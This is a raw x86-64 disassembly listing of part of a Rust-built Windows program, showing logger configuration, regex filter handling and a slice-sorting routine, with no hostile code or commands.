mov rcx, rsi
mov rdx, rbp
call sub.kernel32.dll_SetEnvironmentVariableW
test eax, eax
je 0x14001cf6d
xor r13d, r13d
jmp 0x14001cf7d
mov r13, rdi
lea rdi, [rsp + 0xe20]
jmp 0x14001cfa9
mov rdi, rsi
mov rsi, qword [rsp + 0x90]
mov qword [rsp + 0x88], rbp
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0xd0], r13
mov r15, qword [rsp + 0x50]
jmp 0x14001ce15
mov r13, rbx
jmp 0x14001cf8f
mov r15, qword [rsp + 0x4d8]
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x88], rax
mov rdi, qword [rsp + 0x4e8]
mov rbp, qword [rsp + 0x4f0]
jmp 0x14001cddb
call sub.kernel32.dll_GetLastError
mov r13d, eax
shl r13, 0x20
or r13, 2
test rbx, rbx
je 0x14001cf8f
mov edx, 2
mov rcx, rbp
call fcn.14002a3e0
test rdi, rdi
lea rdi, [rsp + 0xe20]
je 0x14001cfa9
mov edx, 2
mov rcx, rsi
call fcn.14002a3e0
test r13, r13
jne 0x14002a098
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0xc0]
call fcn.1401371c1
lea r13, [rsp + 0x260]
mov rdi, qword [rsp + 0x50]
mov rcx, rdi
mov rdx, r14
call fcn.1401371c1
jmp 0x14001c17c
mov rbp, qword [rsp + 0x4f0]
mov qword [rsp + 0x88], rbx
jmp 0x14001cddb
mov r15, qword [rsp + 0x4d8]
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x88], rax
mov rdi, qword [rsp + 0x4e8]
mov rbp, qword [rsp + 0x4f0]
mov r14, rbx
jmp 0x14001cddb
mov rbp, qword [rsp + 0xa8]
mov rcx, rbp
call fcn.14014ecef
mov rdi, rdx
mov qword [rsp + 0x88], rax
mov rcx, rax
mov rdx, qword [rsp + 0xe8]
mov r8, rbp
call sub.msvcrt.dll_memcpy
mov rax, rbp
sub rax, 1
mov r15d, 0
cmovae r15, rax
jmp 0x14001cdae
mov r14d, 1
mov rsi, qword [rsp + 0x70]
lea rcx, [rsp + 0x990]
call fcn.14006142c
cmp r14, 4
mov rdx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xd8]
mov r12, qword [rsp + 0x88]
mov r13, qword [rsp + 0xc0]
je 0x140020967
mov qword [rsp + 0x998], rsi
mov qword [rsp + 0x9a0], r12
mov qword [rsp + 0x9a8], r13
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x9b0], rax
mov qword [rsp + 0x990], r14
call fcn.1401371c1
mov byte [rsp + 0x278], 2
cmp r14, 2
je 0x14001d123
cmp r14, 1
je 0x14001d111
test r14, r14
jne 0x14001bb2c
mov rcx, r12
mov rdx, r13
call fcn.1401371c1
jmp 0x14001bb2c
lea rcx, [rsp + 0x998]
call fcn.14000e506
jmp 0x14001bb2c
lea rcx, [rsp + 0x998]
call fcn.14000e1c6
jmp 0x14001bb2c
lea rax, [rsp + 0x140]
mov qword [rax], rdi
lea rcx, [rsp + 0x750]
mov qword [rcx], rax
lea rax, str.Compiled_regex_exceeds_size_limit_of__bytes.
lea r8, [rsp + 0x4d0]
mov qword [r8], rax
mov qword [r8 + 8], 2
and qword [r8 + 0x20], 0
lea rax, [fcn.14004f470]
mov qword [rcx + 8], rax
mov qword [r8 + 0x10], rcx
mov qword [r8 + 0x18], 1
lea rdx, [0x1402819f0]
lea rcx, [rsp + 0x11a0]
call fcn.140058710
test al, al
jne 0x14002a06c
movups xmm0, xmmword [rsp + 0x11a0]
movaps xmmword [rsp + 0x750], xmm0
mov rax, qword [rsp + 0x11b0]
mov qword [rsp + 0x760], rax
mov rax, qword [rsp + 0x760]
lea rdi, [rsp + 0x4d0]
mov qword [rdi + 0x10], rax
movdqa xmm0, xmmword [rsp + 0x750]
movdqa xmmword [rdi], xmm0
mov qword [rsp + 0x810], rdi
lea rax, str.warning:_invalid_regex_filter___X
lea rcx, [rsp + 0x260]
mov qword [rcx], rax
mov qword [rcx + 8], 2
and qword [rcx + 0x20], 0
lea rax, [fcn.14001089c]
mov qword [rsp + 0x818], rax
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], 1
call fcn.14017a090
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.1401371c1
mov rdi, qword [rsp + 0x930]
mov rax, qword [rsp + 0x938]
mov qword [rsp + 0xb8], rax
mov rbx, qword [rsp + 0x940]
movdqa xmm0, xmmword [rsp + 0x260]
movdqa xmmword [rsp + 0x4d0], xmm0
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0x4e0], rax
lea rsi, [rsp + 0xa18]
lea rbp, [rsp + 0x4d0]
movaps xmm0, xmmword [rbp]
movaps xmmword [rsp + 0x260], xmm0
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x270], rax
mov rcx, rsi
call fcn.140063a92
mov qword [rsi], r14
movdqa xmm0, xmmword [rsp + 0x260]
movdqu xmmword [rsi + 8], xmm0
mov rax, qword [rsp + 0x270]
mov qword [rsi + 0x18], rax
shl rbx, 5
add rbx, rdi
pcmpeqd xmm6, xmm6
mov rcx, rdi
mov qword [rsp + 0x98], rdi
mov qword [rsp + 0x58], rbx
cmp rcx, rbx
je 0x14001d4fc
lea rax, [rcx + 0x20]
mov rdx, qword [rcx]
cmp rdx, 6
je 0x14001d4f9
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x60], rax
mov r13, qword [rcx + 8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x90], rax
mov r14, qword [rcx + 0x18]
mov rcx, qword [rsp + 0xa08]
mov rdx, qword [rsp + 0xa10]
mov r8, r13
mov r9, r14
call fcn.140062704
mov r15, rax
cmp qword [rsp + 0x9f8], 0
je 0x14001d46d
mov rsi, qword [rsp + 0x9e8]
mov rdi, qword [rsp + 0x9f0]
mov rbx, rdi
and rbx, r15
shr r15, 0x39
mov qword [rsp + 0x68], r15
movd xmm0, r15d
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0x50], rax
xor r15d, r15d
movdqu xmm8, xmmword [rsi + rbx]
movdqa xmm0, xmm7
pcmpeqb xmm0, xmm8
pmovmskb eax, xmm0
mov word [rsp + 0x4d0], ax
mov rcx, rbp
call fcn.140013a31
test rax, rax
je 0x14001d3e0
add rdx, rbx
and rdx, rdi
shl rdx, 5
mov r12, rsi
sub r12, rdx
mov r8, qword [r12 - 0x20]
test r13, r13
je 0x14001d3d9
test r8, r8
je 0x14001d3d9
mov r9, qword [r12 - 0x10]
mov rcx, r13
mov rdx, r14
call fcn.140096256
test al, al
je 0x14001d397
jmp 0x14001d43c
or r8, r13
jne 0x14001d397
jmp 0x14001d43c
cmp r15, 1
mov r15d, 1
je 0x14001d411
movdqa xmmword [rsp + 0x13e0], xmm8
mov rcx, rdi
lea rdx, [rsp + 0x13e0]
mov r8, rbx
call fcn.140014287
mov r15, rax
mov qword [rsp + 0x78], rdx
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x14001d487
mov rax, qword [rsp + 0x50]
add rbx, rax
add rbx, 0x10
add rax, 0x10
mov qword [rsp + 0x50], rax
and rbx, rdi
jmp 0x14001d37c
mov rax, qword [rsp + 0x70]
mov qword [r12 - 8], rax
mov rcx, r13
mov rdx, qword [rsp + 0x90]
call fcn.140096232
mov rcx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x98]
mov rbx, qword [rsp + 0x58]
jmp 0x14001d2db
lea rcx, [rsp + 0x9e8]
lea rdx, [rsp + 0xa08]
call fcn.140062a7a
jmp 0x14001d340
mov rcx, qword [rsp + 0x78]
mov al, byte [rsi + rcx]
test al, al
js 0x14001d4a1
movdqa xmm0, xmmword [rsi]
pmovmskb eax, xmm0
bsf ecx, eax
mov al, byte [rsi + rcx]
and al, 1
movzx eax, al
sub qword [rsp + 0x9f8], rax
lea rax, [rcx - 0x10]
and rdi, rax
mov rax, qword [rsp + 0x68]
mov byte [rsi + rcx], al
mov byte [rdi + rsi + 0x10], al
inc qword [rsp + 0xa00]
shl rcx, 5
mov rax, rsi
sub rax, rcx
neg rcx
mov qword [rsi + rcx - 0x20], r13
mov rcx, qword [rsp + 0x90]
mov qword [rax - 0x18], rcx
mov qword [rax - 0x10], r14
mov rcx, qword [rsp + 0x70]
mov qword [rax - 8], rcx
jmp 0x14001d456
mov rcx, rax
sub rbx, rcx
shr rbx, 5
mov rdx, rbx
call fcn.140062a05
mov rcx, rdi
mov rdx, qword [rsp + 0xb8]
call fcn.14019eaab
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
call fcn.1401371c1
lea rsi, [rsp + 0xf78]
lea rdi, [rsp + 0x260]
mov rcx, rdi
mov rdx, rsi
call fcn.140063d69
mov rdi, qword [rdi]
test rdi, rdi
je 0x14001d5cf
mov rbx, qword [rsp + 0x268]
mov r14, qword [rsp + 0x270]
lea r8, str.autoalwaysnever_usr_local_cargo_registry_src_index.crates.io_6f17d22bba15001f_env_logger_0.10.0_src_fmt_mod.rs
mov r9d, 4
mov rcx, rdi
mov rdx, r14
call fcn.140096256
test al, al
je 0x14001d583
xor eax, eax
jmp 0x14001d5bd
lea r8, [0x140281fdc]
mov r9d, 6
mov rcx, rdi
mov rdx, r14
call fcn.140096256
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14001d5bd
lea r8, [0x140281fe2]
mov r9d, 5
mov rcx, rdi
mov rdx, r14
call fcn.140096256
add al, al
mov byte [rsp + 0x9e2], al
mov rcx, rdi
mov rdx, rbx
call fcn.1401371c1
lea rcx, [rsp + 0xf40]
call fcn.140063e29
mov rcx, rsi
call fcn.140063e29
lea rsi, [rsp + 0x260]
lea rdx, [rsp + 0x990]
mov r8d, 0xb8
mov rcx, rsi
call sub.msvcrt.dll_memcpy
cmp byte [rsi + 0xb0], 0
jne 0x140029c03
mov byte [rsp + 0x310], 1
cmp byte [rsp + 0x2b1], 0
jne 0x140029c3d
lea rdi, [rsp + 0x298]
mov byte [rdi + 0x19], 1
mov al, byte [rdi + 0x1a]
mov r14, qword [rdi]
mov byte [rsp + 0xb0], al
test al, al
je 0x14001d6a3
lea rsi, [rsp + 0x4d0]
mov rcx, rsi
call fcn.140063d61
mov rcx, rdi
mov rdi, qword [rsp + 0x2a0]
mov rbx, qword [rsp + 0x2a8]
mov rax, qword [rsi + 0x10]
mov qword [rcx + 0x10], rax
movdqu xmm0, xmmword [rsi]
movdqu xmmword [rcx], xmm0
cmp r14, 2
je 0x14001d71a
cmp r14, 1
jne 0x14001d72f
cmp byte [rsp + 0x2b0], 0
sete dil
cmp byte [rsp + 0xb0], 2
je 0x14001d6f7
xor edx, edx
jmp 0x14001d6f9
test r14, r14
je 0x14001d74a
cmp r14, 1
jne 0x14001d7b4
call fcn.14017aa60
mov rcx, rax
call fcn.14008b559
mov ebx, eax
lea rsi, [rsp + 0x4d0]
mov rcx, rsi
call fcn.140063d61
mov rax, qword [rsi + 0x10]
mov qword [rdi + 0x10], rax
movdqu xmm0, xmmword [rsi]
movdqu xmmword [rdi], xmm0
cmp byte [rsp + 0x2b0], 0
sete dil
mov dl, 2
test bl, bl
jne 0x14001d6f9
mov dl, 3
lea rsi, [rsp + 0x990]
mov rcx, rsi
call fcn.14018c961
movzx eax, dil
lea rax, [rax*2 + 1]
jmp 0x14001d7ae
cmp byte [rsp + 0xb0], 2
je 0x14001d7ec
xor edx, edx
jmp 0x14001d7ee
cmp byte [rsp + 0x2b0], 0
sete dil
cmp byte [rsp + 0xb0], 2
je 0x14001d791
xor r8d, r8d
jmp 0x14001d794
call fcn.1401785e0
call fcn.14017aa40
mov rcx, rax
call fcn.14008b559
mov ebx, eax
lea rsi, [rsp + 0x4d0]
mov rcx, rsi
call fcn.140063d61
mov rax, qword [rsi + 0x10]
mov qword [rdi + 0x10], rax
movdqu xmm0, xmmword [rsi]
movdqu xmmword [rdi], xmm0
cmp byte [rsp + 0x2b0], 0
sete dil
mov r8b, 2
test bl, bl
jne 0x14001d794
mov r8b, 3
lea rsi, [rsp + 0x990]
mov rcx, rsi
xor edx, edx
call fcn.14018c7bf
movzx eax, dil
lea rax, [rax + rax*2]
mov qword [rsi + 0x78], rax
jmp 0x14001d814
lea rsi, [rsp + 0x4d0]
mov rcx, rsi
call fcn.140063d61
mov rdi, qword [rsp + 0x2a0]
mov rbx, qword [rsp + 0x2a8]
mov rax, qword [rsi + 0x10]
lea rcx, [rsp + 0x298]
mov qword [rcx + 0x10], rax
movdqu xmm0, xmmword [rsi]
movdqu xmmword [rcx], xmm0
mov dl, 3
lea rsi, [rsp + 0x990]
mov rcx, rsi
call fcn.14018c961
mov qword [rsi + 0x78], 2
mov qword [rsi + 0x80], rdi
mov qword [rsi + 0x88], rbx
lea rcx, [rsp + 0x4d0]
lea rdx, [rsp + 0x990]
mov r8d, 0x90
call sub.msvcrt.dll_memcpy
cmp byte [rsp + 0x308], 0
jne 0x140029c77
mov byte [rsp + 0x308], 1
lea rbx, [rsp + 0x758]
mov qword [rbx - 8], 8
pxor xmm6, xmm6
movdqu xmmword [rbx], xmm6
cmp qword [rsp + 0x2d0], 0
je 0x14001d92b
lea rsi, [rsp + 0x990]
mov rcx, rsi
call fcn.1401acb2d
mov rcx, rsi
call fcn.140063857
mov r8, qword [rsp + 0x2b8]
mov r11, qword [rsp + 0x2c0]
mov rcx, qword [rsp + 0x2d0]
lea r9, [0x140347990]
mov qword [rsp + 0x2b8], r9
movdqu xmmword [rsp + 0x2c0], xmm6
and qword [rsp + 0x2d0], 0
mov qword [rsp + 0x2d8], rax
mov qword [rsp + 0x2e0], rdx
lea rax, [r8 + r11]
inc rax
movdqa xmm0, xmmword [r8]
pmovmskb r9d, xmm0
not r9d
lea r10, [r8 + 0x10]
test r11, r11
je 0x14001d951
lea rdx, [r11 + 1]
movabs rsi, 0x7ffffffffffffff
cmp rdx, rsi
ja 0x14001d921
shl rdx, 5
add r11, 0x11
add r11, rdx
jb 0x14001d921
movabs rsi, 0x8000000000000001
add rsi, 0xffffffffffffffef
cmp r11, rsi
jbe 0x1400207cd
xor esi, esi
mov rdi, r8
sub rdi, rdx
jmp 0x14001d953
lea rdx, [rsp + 0x990]
and qword [rdx + 8], 0
mov qword [rdx], 1
lea rcx, [rsp + 0x750]
call fcn.140063a48
jmp 0x14001e193
xor esi, esi
lea rdx, [rsp + 0xe20]
mov qword [rdx], rdi
mov qword [rdx + 8], rsi
mov qword [rdx + 0x10], r11
mov qword [rdx + 0x18], r8
mov qword [rdx + 0x20], r10
mov qword [rdx + 0x28], rax
mov word [rdx + 0x30], r9w
mov qword [rdx + 0x38], rcx
lea rsi, [rsp + 0x990]
mov rcx, rsi
call fcn.1400616d7
cmp dword [rsi], 6
jne 0x14001d9b5
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x810], xmm0
lea rcx, [rsp + 0xe20]
call fcn.14006172b
mov r12d, 8
jmp 0x14001db23
mov rax, qword [rsp + 0xe58]
inc rax
mov rcx, 0xffffffffffffffff
cmovne rcx, rax
cmp rcx, 5
mov edi, 4
cmovae rdi, rcx
mov rax, rdi
shr rax, 0x3a
jne 0x140029ba4
mov rsi, rdi
shl rsi, 5
mov rcx, rsi
call fcn.14018c50d
test rax, rax
je 0x140029bab
lea rsi, [rsp + 0x990]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea r15, [rsp + 0x11a8]
mov rbp, rax
mov qword [r15 - 8], rax
mov qword [r15], rdi
mov qword [r15 + 8], 1
movups xmm0, xmmword [rsp + 0xe20]
movdqu xmm1, xmmword [rsp + 0xe30]
movdqu xmm2, xmmword [rsp + 0xe40]
movups xmm3, xmmword [rsp + 0xe50]
movaps xmmword [rsi + 0x30], xmm3
movdqa xmmword [rsi + 0x20], xmm2
movdqa xmmword [rsi + 0x10], xmm1
movaps xmmword [rsi], xmm0
mov edi, 1
mov r12d, 0x20
lea rbx, [rsp + 0x810]
mov r13, 0xffffffffffffffff
lea r14, [rsp + 0x11a0]
mov rcx, rbx
mov rdx, rsi
call fcn.1400616d7
cmp dword [rsp + 0x810], 6
je 0x14001dafd
cmp rdi, qword [rsp + 0x11a8]
jne 0x14001dacb
mov r8, qword [rsp + 0x9c8]
inc r8
cmove r8, r13
mov rcx, r14
mov rdx, rdi
call fcn.14006177e
mov rcx, rax
call fcn.1400103ca
mov rbp, qword [rsp + 0x11a0]
movups xmm0, xmmword [rsp + 0x810]
movdqu xmm1, xmmword [rsp + 0x820]
mov rax, rbp
movdqu xmmword [rbp + r12 + 0x10], xmm1
movups xmmword [rbp + r12], xmm0
inc rdi
mov qword [rsp + 0x11b0], rdi
add r12, 0x20
jmp 0x14001da82
lea rcx, [rsp + 0x990]
call fcn.14006172b
movdqu xmm0, xmmword [r15]
movdqa xmmword [rsp + 0x810], xmm0
lea rbx, [rsp + 0x758]
mov r12, rbp
lea rsi, [rsp + 0x750]
mov rcx, rsi
call fcn.140063b98
mov qword [rsi], r12
movdqa xmm0, xmmword [rsp + 0x810]
movdqu xmmword [rbx], xmm0
mov r13, qword [rsi + 0x10]
cmp r13, 0x15
jae 0x14001db6d
cmp r13, 1
jbe 0x14001e193
mov r8d, 1
mov rcx, r12
mov rdx, r13
call fcn.1400628d9
jmp 0x14001e193
mov rax, r13
shl rax, 4
movabs rcx, 0x8000000000000001
add rcx, 0xffffffffffffffdf
and rcx, rax
mov al, byte [0x14038d300]
mov edx, 8
call fcn.14002a350
test rax, rax
je 0x140029e21
mov r15, rax
mov ecx, 0x10
call fcn.1400873a8
test rax, rax
je 0x140029e34
mov rbp, rax
lea rax, [r12 + 0x58]
mov qword [rsp + 0xb8], rax
xor eax, eax
mov qword [rsp + 0x50], rax
xor ecx, ecx
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x68], r13
mov esi, 0x10
mov qword [rsp + 0x78], r15
mov rbx, r13
sub rbx, rcx
jbe 0x14001e171
cmp rbx, 2
mov qword [rsp + 0x60], rcx
jae 0x14001dc00
mov rdi, r13
jmp 0x14001ddd3
shl rcx, 5
lea rax, [r12 + rcx]
mov r8, qword [rax + 0x28]
mov rdx, qword [rax + 0x38]
test r8, r8
mov rax, rdx
cmove rax, r8
cmp qword [r12 + rcx + 8], 0
sete r9b
cmp qword [r12 + rcx + 0x18], rax
setbe al
or al, r9b
je 0x14001dc6e
add rcx, qword [rsp + 0xb8]
mov r9d, 2
cmp rbx, r9
je 0x14001dcae
mov r10, qword [rcx - 0x10]
mov r11, qword [rcx]
test r10, r10
mov rdi, r11
cmove rdi, r10
test r8, r8
je 0x14001dc5f
cmp rdx, rdi
ja 0x14001dcab
inc r9
add rcx, 0x20
mov rdx, r11
mov r8, r10
jmp 0x14001dc3f
add rcx, qword [rsp + 0xb8]
mov r9d, 2
cmp rbx, r9
je 0x14001dcae
mov r10, qword [rcx - 0x10]
mov r11, qword [rcx]
test r10, r10
mov rdi, r11
cmove rdi, r10
test r8, r8
je 0x14001dcab
cmp rdx, rdi
jbe 0x14001dcab
inc r9
add rcx, 0x20
mov rdx, r11
mov r8, r10
jmp 0x14001dc7c
mov rbx, r9
mov rcx, qword [rsp + 0x60]
lea rdi, [rbx + rcx]
test al, al
jne 0x14001ddd3
mov qword [rsp + 0x98], rbp
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x88], rdi
mov rdx, rdi
mov r8, r12
mov r9, r13
call fcn.14006289d
mov rdi, rdx
shr rdi, 1
shl rdx, 5
lea r12, [rdx + rax]
mov r13, rdi
shl r13, 5
sub r12, r13
lea rcx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_slicemod.rs
mov qword [rsp + 0x20], rcx
xor ecx, ecx
mov rdx, rdi
mov r8, rax
mov r9, rdi
call fcn.14006289d
mov rbp, rax
mov r14, rdx
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_slicemod.rs
mov qword [rsp + 0x20], rax
xor ecx, ecx
mov rdx, rdi
mov r8, r12
mov r9, rdi
call fcn.14006289d
dec rdi
add rax, r13
add rax, 0xffffffffffffffe0
mov r8, r14
cmp rdi, 0xffffffffffffffff
je 0x14001ddb4
sub r8, 1
jb 0x1400207d7
cmp rdi, rdx
jae 0x1400207e9
movups xmm0, xmmword [rbp]
movups xmm1, xmmword [rbp + 0x10]
movaps xmmword [rsp + 0x9a0], xmm1
movaps xmmword [rsp + 0x990], xmm0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rbp], xmm0
movdqa xmm0, xmmword [rsp + 0x990]
movdqa xmm1, xmmword [rsp + 0x9a0]
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
add rbp, 0x20
dec rdi
add rax, 0xffffffffffffffe0
jmp 0x14001dd4c
mov r12, qword [rsp + 0x58]
mov r13, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x98]
mov rdi, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x60]
cmp rdi, rcx
jb 0x140029ac8
cmp rdi, r13
ja 0x140029ac8
jae 0x14001de2a
cmp rbx, 0xa
jae 0x14001de2a
lea rdi, [rcx + 0xa]
cmp rdi, r13
cmovae rdi, r13
cmp rbx, 1
adc rbx, 0
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov r8, r12
mov r9, r13
call fcn.14006289d
mov rcx, rax
mov r8, rbx
call fcn.1400628d9
mov rcx, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x50]
cmp rbx, rsi
jne 0x14001de80
mov r14, rdi
lea rcx, [rsi + rsi]
mov qword [rsp + 0x80], rcx
call fcn.1400873a8
test rax, rax
je 0x140029bb5
mov rdi, rax
shl rsi, 4
mov rcx, rax
mov rdx, rbp
mov r8, rsi
call sub.msvcrt.dll_memcpy
mov edx, 8
mov rcx, rbp
call fcn.14002a3e0
mov rbp, rdi
mov rdi, r14
mov rcx, qword [rsp + 0x60]
jmp 0x14001de88
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], rdi
sub rdi, rcx
mov rdx, rbx
shl rdx, 4
mov qword [rbp + rdx], rdi
mov qword [rbp + rdx + 8], rcx
inc rbx
mov qword [rsp + 0x98], rbp
cmp rbx, 2
mov qword [rsp + 0x50], rbx
jb 0x14001e15c
mov rcx, rbx
shl rcx, 4
mov rax, qword [rcx + rbp - 0x10]
mov rdx, qword [rcx + rbp - 8]
add rdx, rax
cmp rdx, r13
je 0x14001df1d
mov r8, qword [rcx + rbp - 0x20]
cmp r8, rax
jbe 0x14001df1d
cmp rbx, 3
jb 0x14001e15c
lea rsi, [rbx - 3]
mov rdx, rsi
shl rdx, 4
mov rdx, qword [rbp + rdx]
lea r9, [r8 + rax]
cmp rdx, r9
jbe 0x14001df33
cmp rbx, 4
jb 0x14001e15c
add r8, rdx
cmp qword [rcx + rbp - 0x40], r8
jbe 0x14001df33
jmp 0x14001e15c
cmp rbx, 3
jb 0x14001df38
lea rsi, [rbx - 3]
mov rcx, rsi
shl rcx, 4
mov rdx, qword [rbp + rcx]
cmp rdx, rax
jb 0x14001df3c
lea rsi, [rbx - 2]
mov rcx, rbp
mov rdx, rbx
mov r8, rsi
lea r9, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_slice_sort.rs
call fcn.1400f0a5e
mov r15, qword [rax]
mov rdi, qword [rax + 8]
lea r14, [rsi + 1]
mov rcx, rbp
mov rdx, rbx
mov r8, r14
lea r9, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_slice_sort.rs
call fcn.1400f0a5e
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
mov qword [rsp + 0x90], rcx
add rdx, rcx
lea rax, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_slice_sort.rs
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x60], rdi
mov rcx, rdi
mov r8, r12
mov r9, r13
call fcn.14006289d
mov rbx, rax
mov r13, rdx
mov rbp, r15
shl rbp, 5
lea rdi, [rax + rbp]
mov r12, rdx
shl r12, 5
sub r13, r15
mov qword [rsp + 0x70], r15
cmp r13, r15
jae 0x14001e05a
shl r13, 5
mov r15, qword [rsp + 0x78]
mov rcx, r15
mov rdx, rdi
mov r8, r13
call sub.msvcrt.dll_memcpy
add r13, r15
lea rax, [rbx + r12]
add rax, 0xffffffffffffffe0
mov rbp, r13
mov r12, qword [rsp + 0x58]
cmp rdi, rbx
jbe 0x14001e0d9
cmp rbp, r15
jbe 0x14001e0d9
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x14001e014
mov rcx, qword [rbp - 8]
cmp qword [rdi - 0x18], 0
setne dl
cmp qword [rdi - 8], rcx
seta cl
and cl, dl
movzx ecx, cl
mov rdx, rcx
shl rdx, 5
sub rdi, rdx
add rbp, rdx
add rbp, 0xffffffffffffffe0
test cl, cl
mov rcx, rbp
cmovne rcx, rdi
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movdqu xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
add rax, 0xffffffffffffffe0
jmp 0x14001dff5
add r12, rbx
mov r15, qword [rsp + 0x78]
mov rcx, r15
mov rdx, rbx
mov r8, rbp
call sub.msvcrt.dll_memcpy
add rbp, r15
mov rdx, r15
cmp rdx, rbp
jae 0x14001e0e1
cmp rdi, r12
jae 0x14001e0e1
mov rax, qword [rdi + 8]
test rax, rax
je 0x14001e08d
mov rax, qword [rdi + 0x18]
cmp qword [rdx + 8], 0
setne r8b
cmp qword [rdx + 0x18], rax
seta al
mov rcx, rdi
and al, r8b
jne 0x14001e0a8
mov rcx, rdx
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movdqu xmmword [rbx + 0x10], xmm1
movdqu xmmword [rbx], xmm0
add rbx, 0x20
movzx eax, al
mov rcx, rax
shl rcx, 5
add rdi, rcx
xor al, 1
movzx eax, al
shl rax, 5
add rdx, rax
jmp 0x14001e076
mov rbx, rdi
mov rdx, r15
jmp 0x14001e0e6
mov r12, qword [rsp + 0x58]
sub rbp, rdx
mov rcx, rbx
mov r8, rbp
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x50]
cmp rbx, r14
jbe 0x1400298a7
mov rax, qword [rsp + 0x90]
add rax, qword [rsp + 0x70]
shl r14, 4
mov rbp, qword [rsp + 0x98]
mov qword [rbp + r14], rax
mov rax, qword [rsp + 0x60]
mov qword [rbp + r14 + 8], rax
mov rax, rsi
shl rax, 4
lea rcx, [rax + rbp]
lea rdx, [rax + rbp]
add rdx, 0x10
not rsi
add rsi, rbx
shl rsi, 4
mov r8, rsi
call sub.msvcrt.dll_memmove
dec rbx
mov r13, qword [rsp + 0x68]
jmp 0x14001deaf
mov rsi, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x88]
jmp 0x14001dbe1
mov edx, 8
mov rcx, rbp
call fcn.14002a3e0
mov edx, 8
mov rcx, r15
call fcn.14002a3e0
lea rbx, [rsp + 0x758]
lea rcx, [rsp + 0x750]
mov rax, qword [rcx]
mov qword [rsp + 0x50], rax
mov rax, qword [rcx + 8]
mov qword [rsp + 0x60], rax
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x70], rax
mov qword [rcx], 8
pxor xmm6, xmm6
movdqu xmmword [rbx], xmm6
movdqu xmm0, xmmword [rsp + 0x2e8]
movdqu xmm1, xmmword [rsp + 0x2f8]
movdqa xmmword [rsp + 0xe30], xmm1
movdqa xmmword [rsp + 0xe20], xmm0
and qword [rsp + 0x2e8], 0
call fcn.140063b98
cmp byte [rsp + 0x293], 0
jne 0x140029cb1
mov r15, qword [rsp + 0x260]
mov r13, qword [rsp + 0x268]
mov rbp, qword [rsp + 0x270]
mov r9, qword [rsp + 0x278]
mov rsi, qword [rsp + 0x280]
mov rdx, qword [rsp + 0x288]
mov bl, byte [rsp + 0x290]
mov r14b, byte [rsp + 0x291]
mov r12b, byte [rsp + 0x292]
mov dil, byte [rsp + 0x294]
mov eax, 1
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x268], 4
lea rcx, case.0x140092a68.38
mov qword [rsp + 0x270], rcx
mov qword [rsp + 0x278], rax
and qword [rsp + 0x280], 0
mov dword [rsp + 0x290], 0x1010100
mov byte [rsp + 0x294], 0
test rsi, rsi
jne 0x14001e2e6
mov ecx, 0x28
mov qword [rsp + 0x90], r9
call fcn.1400618b7
mov rsi, rax
mov qword [rax], r15
mov qword [rax + 8], r13
mov qword [rax + 0x10], rbp
mov rax, qword [rsp + 0x90]
mov qword [rsi + 0x18], rax
mov byte [rsi + 0x20], bl
mov byte [rsi + 0x21], r14b
mov byte [rsi + 0x22], r12b
mov byte [rsi + 0x23], dil
lea rdx, [0x140282090]
mov r15, rdx
lea rcx, [rsp + 0x990]
lea rdx, [rsp + 0x4d0]
mov r8d, 0x90
call sub.msvcrt.dll_memcpy
mov eax, dword [rsp + 0x11a0]
mov ecx, dword [rsp + 0x11a3]
mov dword [rsp + 0x750], eax
mov dword [rsp + 0x753], ecx
movaps xmm0, xmmword [rsp + 0xe20]
movaps xmm1, xmmword [rsp + 0xe30]
movaps xmmword [rsp + 0x810], xmm0
movaps xmmword [rsp + 0x820], xmm1
mov r14, qword [rsp + 0x70]
test r14, r14
je 0x14001e382
mov rbx, qword [rsp + 0x50]
